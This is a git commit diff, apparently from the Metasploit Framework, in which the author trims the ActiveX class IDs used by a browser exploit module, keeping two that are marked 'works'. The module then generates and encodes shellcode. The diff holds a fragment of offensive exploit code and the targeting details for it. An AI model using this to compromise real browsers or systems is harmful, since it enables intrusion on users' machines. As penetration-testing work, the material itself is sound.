Removed some CLSIDs that didn't work

git-svn-id: file:///home/svn/framework3/trunk@6753 4d416f70-5f16-0410-b530-b9f4589650da
unstable
druid 2009-07-08 21:25:23 +00:00
parent 63f7875723
commit b9e7e0b902
1 changed files with 9 additions and 5 deletions

View File

@ -92,13 +92,13 @@ class Metasploit3 < Msf::Exploit::Remote
return if ((p = regenerate_payload(cli)) == nil)
# Class IDs
clsids = [
"011B3619-FE63-4814-8A84-15A194CE9CE3",
"0149EEDF-D08F-4142-8D73-D23903D21E90",
"0369B4E5-45B6-11D3-B650-00C04F79498E",
allclsids = [ # all IDs from the advisory
"011B3619-FE63-4814-8A84-15A194CE9CE3", # doesn't work
"0149EEDF-D08F-4142-8D73-D23903D21E90", # doesn't work
"0369B4E5-45B6-11D3-B650-00C04F79498E", # works
"0369B4E6-45B6-11D3-B650-00C04F79498E",
"055CB2D7-2969-45CD-914B-76890722F112",
"0955AC62-BF2E-4CBA-A2B9-A63F772D46CF",
"0955AC62-BF2E-4CBA-A2B9-A63F772D46CF", # works
"15D6504A-5494-499C-886C-973C9E53B9F1",
"1BE49F30-0E1B-11D3-9D8E-00C04F72D980",
"1C15D484-911D-11D2-B632-00C04F79498E",
@ -139,6 +139,10 @@ class Metasploit3 < Msf::Exploit::Remote
"F9769A06-7ACA-4E39-9CFB-97BB35F0E77E",
"FA7C375B-66A7-4280-879D-FD459C84BB02"
]
clsids = [ # these all work
"0369B4E5-45B6-11D3-B650-00C04F79498E",
"0955AC62-BF2E-4CBA-A2B9-A63F772D46CF",
]
classid = datastore['ClassID'] || clsids[rand(clsids.size)]
# Encode the shellcode